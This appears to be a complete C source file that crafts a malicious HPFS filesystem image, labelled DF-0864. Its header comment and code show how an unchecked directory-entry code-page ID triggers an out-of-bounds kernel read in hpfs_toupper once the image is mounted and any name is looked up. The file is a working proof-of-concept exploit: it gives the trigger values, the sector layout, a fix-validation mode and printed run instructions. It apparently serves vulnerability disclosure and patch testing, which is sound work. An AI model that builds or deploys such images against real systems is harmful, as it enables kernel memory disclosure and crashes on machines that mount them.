DF-0864 / craft_img.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 | /* * DF-0864 PoC image crafter. * * Builds a minimal HPFS filesystem image that is VALID enough to mount * cleanly, then triggers the OOB read in hpfs_toupper (sys/vfs/hpfs/ * hpfs_subr.h:55) on the FIRST name-lookup in the mounted filesystem. * * Root cause * ---------- * The hpfs_toupper macro indexes hpm_cpdblk[cp].b_upcase[c & 0x7F]: * * sys/vfs/hpfs/hpfs_subr.h:55 * #define hpfs_toupper(hpmp, c, cp) \ * ((((u_char)(c))&0x80) ? \ * ((u_char)((hpmp)->hpm_cpdblk[(cp)].b_upcase[((u_char)(c))&0x7F])) : \ * (... ASCII fallback ...)) * * hpm_cpdblk is allocated in hpfs_cpinit (hpfs_subr.c:276): * hpmp->hpm_cpdblk = kmalloc(cpicnt * sizeof(struct cpdblk), ...) * where cpicnt == sp_cpinum (attacker-controlled u32 from the SpareBlock). * * But the index `cp` passed to hpfs_toupper comes from the on-disk * directory entry's de_cpid field (u8, hpfs.h:126): * * sys/vfs/hpfs/hpfs_lookup.c:87 * res = hpfs_cmpfname(hpmp, name, namelen, * dep->de_name, dep->de_namelen, dep->de_cpid); * * de_cpid is taken VERBATIM from the crafted image with NO validation * against sp_cpinum. If de_cpid >= sp_cpinum, the access * hpm_cpdblk[de_cpid].b_upcase[...] reads out of bounds. * * Trigger values * -------------- * sp_cpinum = 1 -> kmalloc(1*136 = 136 B) for hpm_cpdblk * dirent.de_cpid = 0xFF (255) -> offset 255*136+6 = 34686 B from hpm_cpdblk * (34550 B past the 136-byte allocation) * dirent.de_name[0] = 0xFF -> (0xFF & 0x80) != 0, so hpfs_toupper takes * the array-indexed path (b_upcase[0x7F]) * * Reachability: POST-mount, by ANY user who can stat() a name in the * mounted filesystem. VOP_LOOKUP -> hpfs_lookup -> hpfs_genlookupbyname * -> hpfs_cmpfname -> hpfs_toupper -> OOB read. * * Image layout (sector = 512 B): * 0x00 boot sector (zeros + 0x55AA) * 0x10 SuperBlock (magic, rootfno=0x20, btotal=0x80, bitmap=0x30) * 0x11 SpareBlock (magic, sp_cpinum=1, sp_cpi=0x60) * 0x20 root fnode (FN_MAGIC, VDIR, fn_abd alleaf -> dirblk 0x40) * 0x30 bitmap dir (u32 = 0x38) * 0x38 bitmap data (4 KB; mark 0x00..0x7F used) * 0x40 dirblk (D_MAGIC + 1 malicious dirent + DE_END) * dirent: de_cpid=0xFF, de_name = { 0xFF, 0xFF, 0xFF, 0xFF } * 0x48 file fnode (FN_MAGIC, VREG; de_fnode target, not actually * reached because the OOB fires first) * 0x60 cpisec (CPI_MAGIC, s_cpicnt=1, b_cpid=1, b_cpdsec=0x70) * 0x70 cpdsec (CPD_MAGIC, d_cpcnt=1, d_cpfirst=0, * d_cpdblk[0].b_cpid=1) * * sizeof(struct cpdblk) = 136 on amd64 (verified at runtime). */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #define SECTOR 512 #define IMG_SECTORS 512 /* 256 KiB */ #define SUBLOCK 0x10 #define SPBLOCK 0x11 #define ROOTFNO_SEC 0x20 #define BMDIR_SEC 0x30 #define BMDATA_SEC 0x38 #define DIRBLK_SEC 0x40 #define FILEFNO_SEC 0x48 #define CPI_SEC 0x60 #define CPD_SEC 0x70 /* magics */ #define SU_MAGIC 0xFA53E9C5F995E849ULL #define SP_MAGIC 0xFA5229C5F9911849ULL #define FN_MAGIC 0xF7E40AAEu #define D_MAGIC 0x77E40AAEu #define CPI_MAGIC 0x494521F7u #define CPD_MAGIC 0x894521F7u #define DE_END 0x0008 #define TRIGGER_CPID 0xFFu #define TRIGGER_NAME0 0xFFu static void put_u16(unsigned char *p, uint16_t v) { p[0] = v & 0xff; p[1] = (v >> 8) & 0xff; } static void put_u32(unsigned char *p, uint32_t v) { p[0] = v & 0xff; p[1] = (v >> 8) & 0xff; p[2] = (v >> 16) & 0xff; p[3] = (v >> 24) & 0xff; } static void put_u64(unsigned char *p, uint64_t v) { for (int i = 0; i < 8; i++) p[i] = (v >> (8 * i)) & 0xff; } int main(int argc, char **argv) { const char *out = (argc > 1) ? argv[1] : "crafted.img"; uint8_t trigger_cpid = (argc > 2) ? (uint8_t)strtoul(argv[2], NULL, 0) : TRIGGER_CPID; unsigned char *img = calloc(IMG_SECTORS, SECTOR); if (!img) { perror("calloc"); return 1; } /* ---- boot sector ---- */ img[0] = 0xEB; put_u16(img + SECTOR - 2, 0xAA55); /* ---- SuperBlock @ 0x10 ---- +0x00 su_magic u64 +0x08 su_hpfsver u8 = 2 +0x0C su_rootfno lsn_t u32 = ROOTFNO_SEC +0x10 su_btotal u32 = 0x80 (128 sectors) +0x18 su_bitmap.lsn1 u32 = BMDIR_SEC +0x1C su_bitmap.lsn2 u32 = BMDIR_SEC */ unsigned char *su = img + SUBLOCK * SECTOR; put_u64(su + 0, SU_MAGIC); su[8] = 2; put_u32(su + 0x0C, ROOTFNO_SEC); put_u32(su + 0x10, 0x80); put_u32(su + 0x18, BMDIR_SEC); put_u32(su + 0x1C, BMDIR_SEC); /* ---- SpareBlock @ 0x11 ---- +0x00 sp_magic u64 +0x20 sp_cpi lsn_t u32 = CPI_SEC +0x24 sp_cpinum u32 = 1 <-- controls hpm_cpdblk allocation size */ unsigned char *sp = img + SPBLOCK * SECTOR; put_u64(sp + 0, SP_MAGIC); put_u32(sp + 0x20, CPI_SEC); put_u32(sp + 0x24, 1); /* ---- root fnode @ 0x20 ---- +0x00 fn_magic u32 = FN_MAGIC +0x10 fn_namelen u8 = 1 +0x11 fn_name '.' +0x20 fn_parent lsn_t = ROOTFNO_SEC (self) +0x3B fn_flag u8 = 1 (VDIR) +0x3C fn_ab (alblk_t, 8 bytes) +0 ab_flag u8 = 0 (leaf) +4 ab_freecnt u8 = 7 +5 ab_busycnt u8 = 1 +6 ab_freeoff u16 = 20 (past the one alleaf) +0x44 fn_abd[0x60] -- first 12 bytes = alleaf: al_off u32 = 0 al_len u32 = 1 al_lsn u32 = DIRBLK_SEC <-- dirblk pointer */ unsigned char *rf = img + ROOTFNO_SEC * SECTOR; put_u32(rf + 0x00, FN_MAGIC); rf[0x10] = 1; rf[0x11] = '.'; put_u32(rf + 0x20, ROOTFNO_SEC); rf[0x3B] = 1; /* VDIR */ rf[0x3C + 0] = 0; /* ab_flag = leaf */ rf[0x3C + 4] = 7; /* ab_freecnt */ rf[0x3C + 5] = 1; /* ab_busycnt */ put_u16(rf + 0x3C + 6, 20); /* ab_freeoff */ /* alleaf at fn_abd[0] */ put_u32(rf + 0x44 + 0, 0); /* al_off */ put_u32(rf + 0x44 + 4, 1); /* al_len */ put_u32(rf + 0x44 + 8, DIRBLK_SEC); /* al_lsn -> dirblk */ /* ---- bitmap dir @ 0x30 ---- first u32 = bitmap data band LSN */ put_u32(img + BMDIR_SEC * SECTOR, BMDATA_SEC); /* ---- bitmap data @ 0x38 (4 KB) ---- Mark sectors 0x00..0x7F as used (i.e., clear those bits = 0 = used). HPFS bitmap: bit SET = free, bit CLEAR = used. Default (calloc) = all used, which is fine for our minimal image. But we need at least some free blocks for su_btotal accounting; leave them all "used" -- mount doesn't require any to be free. */ /* ---- dirblk @ 0x40 (D_BSIZE = 2048 bytes = 4 sectors) ---- +0x00 d_magic u32 = D_MAGIC +0x04 d_freeoff u32 = 0x60 (offset of first free byte in dirblk) +0x08 d_chcnt u32 = 0 +0x0C d_parent lsn_t = ROOTFNO_SEC +0x10 d_self lsn_t = DIRBLK_SEC +0x14 dirent[0] (malicious) +0x48 dirent[1] (DE_END) sizeof(dirblk_t) = 20 (0x14) on amd64. sizeof(hpfsdirent_t before name) = 0x2f on amd64: +0x00 de_reclen u16 +0x02 de_flag u16 +0x04 de_fnode lsn_t u32 +0x08 de_mtime u_long (8 on amd64) +0x10 de_size u32 +0x18 de_atime u_long (8) +0x20 de_ctime u_long (8) +0x28 de_ealen u32 +0x2C de_flexflag u8 +0x2D de_cpid u8 <-- ATTACKER VALUE (TRIGGER_CPID) +0x2E de_namelen u8 +0x2F de_name[] variable */ unsigned char *db = img + DIRBLK_SEC * SECTOR; put_u32(db + 0x00, D_MAGIC); put_u32(db + 0x04, 0x60); /* d_freeoff */ put_u32(db + 0x08, 0); /* d_chcnt */ put_u32(db + 0x0C, ROOTFNO_SEC); /* d_parent */ put_u32(db + 0x10, DIRBLK_SEC); /* d_self */ /* dirent[0] at dirblk offset 0x14 */ unsigned char *d0 = db + 0x14; put_u16(d0 + 0x00, 0x34); /* de_reclen = 52 (stride to next dirent) */ put_u16(d0 + 0x02, 0); /* de_flag = 0 (not DE_END, not DE_DOWN) */ put_u32(d0 + 0x04, FILEFNO_SEC); /* de_fnode */ /* de_mtime (8B), de_size (4B), de_atime (8B), de_ctime (8B), de_ealen (4B) = 0 */ d0[0x2C] = 0; /* de_flexflag */ d0[0x2D] = trigger_cpid; /* de_cpid = 0xFF (THE OOB TRIGGER) */ d0[0x2E] = 4; /* de_namelen = 4 */ d0[0x2F] = TRIGGER_NAME0; /* de_name[0] = 0xFF (high bit set -> array path) */ d0[0x30] = TRIGGER_NAME0; /* de_name[1] */ d0[0x31] = TRIGGER_NAME0; /* de_name[2] */ d0[0x32] = TRIGGER_NAME0; /* de_name[3] */ /* dirent[1] (DE_END) at dirblk offset 0x14 + 0x34 = 0x48. The walk loop exits when it sees DE_END, so de_reclen here is irrelevant -- set a sane value. */ unsigned char *d1 = db + 0x48; put_u16(d1 + 0x00, 0x40); /* de_reclen (unused after DE_END) */ put_u16(d1 + 0x02, DE_END); /* de_flag = DE_END */ /* ---- file fnode @ 0x48 (target of dirent de_fnode, not reached) ---- */ unsigned char *ff = img + FILEFNO_SEC * SECTOR; put_u32(ff + 0x00, FN_MAGIC); put_u32(ff + 0x20, ROOTFNO_SEC); /* fn_parent */ ff[0x3B] = 0; /* VREG */ /* ---- cpisec @ 0x60 ---- +0x00 s_magic u32 = CPI_MAGIC +0x04 s_cpicnt u32 = 1 +0x08 s_cpifirst u32 = 0 +0x0C s_next lsn_t = 0 +0x10 s_cpi[0]: +0 b_country u16 = 1 +2 b_cpid u16 = 1 (must match cpdsec's b_cpid) +4 b_checksum u32 = 0 +8 b_cpdsec lsn_t = CPD_SEC +12 b_vcpid u16 = 1 +14 b_dbcscnt u16 = 0 */ unsigned char *cpis = img + CPI_SEC * SECTOR; put_u32(cpis + 0, CPI_MAGIC); put_u32(cpis + 4, 1); put_u32(cpis + 8, 0); put_u32(cpis + 12, 0); put_u16(cpis + 16 + 0, 1); put_u16(cpis + 16 + 2, 1); put_u32(cpis + 16 + 4, 0); put_u32(cpis + 16 + 8, CPD_SEC); put_u16(cpis + 16 + 12, 1); put_u16(cpis + 16 + 14, 0); /* ---- cpdsec @ 0x70 ---- +0x00 d_magic u32 = CPD_MAGIC +0x04 d_cpcnt u16 = 1 (VALID -- mount must succeed) +0x06 d_cpfirst u16 = 0 +0x08 d_checksum[3] +0x14 d_offset[3] +0x1A d_cpdblk[0]: +0 b_country u16 = 1 +2 b_cpid u16 = 1 (matches cpisec's b_cpid) +4 b_dbcscnt u16 = 0 +6 b_upcase[0x80] filled with identity-ish values (benign) */ unsigned char *cpds = img + CPD_SEC * SECTOR; put_u32(cpds + 0, CPD_MAGIC); put_u16(cpds + 4, 1); put_u16(cpds + 6, 0); unsigned char *cpdblk0 = cpds + 26; /* d_cpdblk[0] at +26 */ put_u16(cpdblk0 + 0, 1); /* b_country */ put_u16(cpdblk0 + 2, 1); /* b_cpid */ put_u16(cpdblk0 + 4, 0); /* b_dbcscnt */ /* b_upcase[128]: for the PRIMARY PoC (de_cpid=0xFF OOB), fill with * identity values (b_upcase[j] = j). For fix-validation mode * (argv[3] != 0), set b_upcase[0x00] = b_upcase[0x7F] = 0x42 so the * comparison oracle (lookup "\x80\x80\x80\x80" vs dirent "\xFF\xFF..." * -> b_upcase[0] vs b_upcase[0x7F]) produces a MATCH only when cp is * clamped to 0 (fixed). On the unpatched kernel, cp=255 reads OOB * bytes that (almost certainly) differ -> no match -> ENOENT. */ int oracle_mode = (argc > 3) ? atoi(argv[3]) : 0; if (oracle_mode) { cpdblk0[6 + 0x00] = 0x42; /* b_upcase[0] */ cpdblk0[6 + 0x7F] = 0x42; /* b_upcase[0x7F] -- == b_upcase[0] */ for (int j = 1; j < 0x7F; j++) cpdblk0[6 + j] = (unsigned char)(j + 1); /* distinct */ } else { for (int j = 0; j < 0x80; j++) cpdblk0[6 + j] = (unsigned char)j; } FILE *f = fopen(out, "wb"); if (!f) { perror("fopen"); free(img); return 1; } if (fwrite(img, 1, IMG_SECTORS * SECTOR, f) != (size_t)(IMG_SECTORS * SECTOR)) { perror("fwrite"); fclose(f); free(img); return 1; } fclose(f); free(img); printf("[craft] wrote %s (%d bytes)\n", out, IMG_SECTORS * SECTOR); printf("[craft] sp_cpinum=1 -> kmalloc(1*136) = 136-byte hpm_cpdblk\n"); printf("[craft] dirent.de_cpid=0x%02x -> hpm_cpdblk[%u] = +%u bytes from base\n", trigger_cpid, trigger_cpid, (unsigned)trigger_cpid * 136); printf("[craft] OOB read at +%u bytes (past the 136-byte alloc) on lookup\n", (unsigned)trigger_cpid * 136 + 6 + 0x7F); printf("[craft] trigger: mount image, then 'stat /mnt/x' (any name) -> VOP_LOOKUP\n"); printf("[craft] -> hpfs_genlookupbyname -> hpfs_cmpfname -> hpfs_toupper OOB\n"); return 0; } |